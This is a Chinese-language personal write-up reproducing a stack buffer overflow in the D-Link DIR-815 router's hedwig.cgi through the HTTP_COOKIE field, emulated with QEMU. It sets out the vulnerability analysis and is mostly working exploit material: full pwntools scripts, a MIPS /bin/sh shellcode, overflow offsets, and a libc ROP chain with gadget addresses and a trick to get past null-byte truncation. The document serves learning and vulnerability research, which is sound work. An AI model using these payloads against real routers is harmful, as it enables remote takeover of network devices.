最近看着朋友门的文章和网上的参考资料 复现了一个D-Link-DIR-815固件,第一次测试,记录一下。

D-Link DIR-645是一款无线路由器设备。 “post_login.xml”,”hedwig.cgi”,”authentication.cgi”不正确过滤用户提交的参数数据,允许远程攻击者利用漏洞提交特制请求触发缓冲区溢出,可使应用程序停止响应,造成拒绝服务攻击。

D-Link-DIR-815 栈溢出 mips 漏洞点存在于/htdocs/web/hedwig.cgi下。

环境搭建

1.安装好qemu (qemu-mipsel-static)

2.安装好binwalk binwalk需要搭配cramfsprogs来解包,在安装cramfsprog时会出现如下报错

image-20230806095223469

用如下命令可以解决

1
2
3
sudo wget https://github.com/devttys0/sasquatch/pull/51.patch && sudo patch -p1 <51.patch
sudo ./build.sh

3.固件下载DIR-815A1_FW101SSB03.bin

4.mipsrop 寻找mipsrop的插件mipsROP

前期工作

1

解包 binwalk -e DIR-815A1_FW101SSB03.bin 如果时新版binwalk,为了安全会把部分软连接指向null,只需要加入 –preserve-symlinks 命令即可

(实测还是有点问题,无论是加上命令还是用旧版 软链接总是显示broken,这里删除后手动添加链接)

image-20230806100554024

2

该如何模拟运行这个固件,首先我们知道对于一个普通的mips程序,我们只需要用qemu+gdb/qemu+ida 即可调试,同时还分为静态和动态链接库这两种。

以MIPS程序举例(编译要提前安装好交叉编译环境)

静态运行

1
2
mips-linux-gnu-gcc 1.c -o 1 --static
qemu-mips ./1

动态运行

1
2
mips-linux-gnu-gcc 1.c -o 1
qemu-mips -L /usr/mips-linux-gnu ./1

ida调试

1
2
1开启监听 qemu-mips  -L /usr/mips-linux-gnu -g 10000 ./1
2正常配置即可 端口写10000

gdb调试

1
2
3
4
5
1开启监听 qemu-mips  -L /usr/mips-linux-gnu -g 10000 ./1
2用gdb-mutiarch调试 gdb-multiarch ./1
3设置架构 set architecture mips
4设置链接库 set sysroot /usr/mips-linux-gnu
5设置端口 target remote :10000

对于一个解包好的固件,调试通常分为用户模式和系统模式

这里介绍一下用户模式命令:

1
2
cp $(which qemu-mipsel-static) ./
sudo chroot . ./qemu-mipsel-static ./bin/sh

而对于我们要调试的固件,不能这么向上面这么简单的模拟,因为要调试的程序仅仅只是一部分,它具体接受哪些参数和文件都需要在前期测试分析的时候了解。对于本固件,参考看雪的文章写一个bash脚本帮助我们调试。

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash

INPUT="winmt=pwner"
LEN=$(echo -n "$INPUT" | wc -c)
cookie="uid=`cat payload`"

echo "1 run"

echo $INPUT | qemu-mipsel -L ./ -0 "hedwig.cgi" -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$cookie -E REQUEST_URI="2333" -g 1235 ./htdocs/cgibin

echo "ok!"

此脚本设置一些列的参数传给程序

INPUT即为post内容

LEN是计算长度

cookie 是这里的溢出点,它利用了payload文件,payload文件通过 cyclic命令 产生了2000个垃圾数据放入cookie

1
cyclic 2000 >payload

后面就是用qemu-mipsel进行模型

-E 指定环境变量

-g 脸上端口

-0 为argv[0]

我们把bash脚本和payload放入squashfs-root下即可完成调试,我在这里是利用ida完成调试的。

image-20230806103116517

image-20230806103130615

成功断下

逆向分析

整个溢出点在于sprintf,函数里存在两个sprintf,这两个函数的参数都是通过v4传递的,而v4就是cooki,即我们构造的2000个垃圾数据。

image-20230806103404103

image-20230806103312972

进入第一个sprintf必须满足是post传参

而进入第二个sprintf必须满足

1.存在/var/tmp/temp.xml 这个在我们解包的固件是没有的,而真实环境是存在的,需要手动创建

2.环境变量REQUEST_URI中也必须有内容才行

具体分析可以参考一下看雪的文章

这里我们调试看一下,首先sp为0x407ff338 而在函数开始扩展了0x4e8

计算可得上一个sp为0x407ff338+0x4e8=0x407ff820

在堆栈入口往上看果然找到了mian函数的地址,在0x407ff81c

image-20230806104653803

现在运行到第一个sprintf 查看是否覆盖了栈,可以观察到已经成功覆盖了我们的垃圾数据。

image-20230806110035248

第二个sprintf

image-20230806110119648

因为第一个垃圾数据会被第二关覆盖 这里计算一下第二个垃圾数据的偏移。

image-20230806110214845

最后在运行到末尾的返回处,发现就是返回到0x646b6161

image-20230806110313503

找到返回地址,接下来准备构造ROP链。

ROP链构造

在看雪文章上学到

1
MIPS架构下的栈溢出肯定也是需要通过构造ROP链来getshell的,不过由于MIPS有个特性,即无法开NX保护,这样就有了两种构造ROP链的方式:第一种就是纯ROP链,通过调用system函数来getshell;第二种就是通过构造ROP链,跳转至读入到栈bss段等处的shellcode执行。在实际应用中,最常用的还是通过ROP + shellcode的方式来getshell

ROP+shellcode

利用前提是不开nx的情况下

这里我们先尝试把shellcode写到栈上。shellode即 syscall(cmd),cmd通过第一个传参寄存器a0来控制,这里就是让a0填充为/bin/sh

payload=垃圾数据+ syscall的gadget的地址+ syscall的gadget

总结来说栈视图如下:

paylaod
垃圾数据
syscall的gadget的地址
syscall的gadget

但其实因为不开nx保护的特性,我们可以随便在栈上写入我们的数据,不需要去寻找各种gadget,那么意味着这些都可以硬编码成shellcode,直接套模板即可。

syscall

1
2
3
4
5
6
7
8
9
10
11
12
shellcode = asm('''
slti $a2, $zero, -1
li $t7, 0x69622f2f
sw $t7, -12($sp)
li $t6, 0x68732f6e
sw $t6, -8($sp)
sw $zero, -4($sp)
la $a0, -12($sp)
slti $a1, $zero, -1
li $v0, 4011
syscall 0x40404
''')

解释一下就是

1
2
3
4
5
6
7
8
9
10
slti $a2, $zero, -1                  #参数a2设置为-1
li $t7, 0x69622f2f #“bin”读入栈
sw $t7, -12($sp)
li $t6, 0x68732f6e #“sh”读入栈
sw $t6, -8($sp)
sw $zero, -4($sp) #以0结尾
la $a0, -12($sp) #设置参数a0为“bin/sh”
slti $a1, $zero, -1 #参数a1设置为-1
li $v0, 4011 #设置系统调用号
syscall 0x40404

对于如何找到syscall的gadget的地址,这里是因为没有开aslr通过调试可以知道

最终payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
#context.log_level='debug'
context.arch='mips'

shellcode = asm('''
slti $a2, $zero, -1
li $t7, 0x69622f2f
sw $t7, -12($sp)
li $t6, 0x68732f6e
sw $t6, -8($sp)
sw $zero, -4($sp)
la $a0, -12($sp)
slti $a1, $zero, -1
li $v0, 4011
syscall 0x40404
''')

payload=b"uid="+b'a'*(1009)+p32(0x407FFBd0)+shellcode

post_content =b"winmt=pwner"
io = process(b"""
qemu-mipsel -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=11 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE=\"""" + payload + b"""\" \
-E REQUEST_URI="2333" \
./htdocs/cgibin
""", shell = True)




io.send(post_content)
#pause()
io.interactive()


image-20230813140548084

(实际测试感觉aslr有点小问题,有时候变有时候不变)

调试的时候在process里加入-g 即可调试。

对于此固件,上述rop链就可以解决,但近来固件都开始了各种保护,包括nx,所以也学习一下如何真正的构造rop链。

纯ROP

这下由于开了nx保护,我们不能随便写到栈上

这里需要在上面的基础上解决两个问题,一个是不能写shellcode,需要调用libc里的system,以及在栈里布置好binsh,另一个是system的地址最后两位是00,会被sprintf截断,该如何绕过

首先第一个问题,该如何布局:

payload=垃圾数据+ 让a0为/bin/sh的gadget + system + 一些填充数据 +”/bin/sh”

总结来说栈视图如下:

payload
垃圾数据
addiu $s0,$sp,xxx
mov $a0,$s0
system
垃圾数据
“/bin/sh”

让a0为/bin/sh的gadget

1
2
addiu $s0,$sp,xxx                                         #xxx就是后面填充数据的偏移
mov $a0,$s0

misprop这个插件可以帮助我们去寻找很多的gadget

1
2
mipsrop.find("addiu $s0,$sp,.*")
mipsrop.stackfinder() #发现栈
1
2
mipsrop.tail() #栈上的数据给寄存器赋值
这里最常用的就是去寻找libc里的scandir/scandir64 这两个函数

image-20230807094509976

1
mipsrop.system() #发现system

先利用两个memset确定libc基质,这里计算为:0x3Ff38000

image-20230813143418816

然后这里kk看雪上面的payload看如何绕过00截断:

返回地址是最后一条payload,写入bin/sh到a0寄存器,然后让s0寄存器内容+1,s0寄存器保存着system的地址-1,这样就把system的地址保存在s0里,并且利用-1+1绕过了00截断,最后跳到system地址进行getshell

image-20230813173451528

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
#context.log_level='debug'
context.arch='mips'
#context.terminal = ["tmux","splitw","-h"]
libc_base=0x3Ff38000



payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x159F4) # s1 move $t9, $s0 (=> jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x6DFD0) # s3 /bin/sh
payload += b'a'*(4*2)
payload += p32(libc_base + 0x32A98) # s6 addiu $s0, 1 (=> jalr $s1)
payload += b'a'*(4*2)
payload += p32(libc_base + 0x13F8C) # ra move $a0, $s3 (=> jalr $s6)


payload=b"uid="+payload



post_content =b"winmt=pwner"
io = process(b"""
qemu-mipsel -L ./ \
-g "12345" \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=11 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE=\"""" + payload + b"""\" \
-E REQUEST_URI="2333" \
./htdocs/cgibin
""", shell = True)




io.send(post_content)


pause()
io.interactive()

可以发现最后进入system函数了

image-20230813183208851

但是却利用不成功,是因为

system函数中有调用fork()函数,而用户模式是不支持多线程的,这里fork()的失败,会导致后面$fp是个空指针,就会出错,在系统模式下不会出错

所以最佳组合为:第一个的shllcode+第二个的gadget

参考链接

friend

kanxue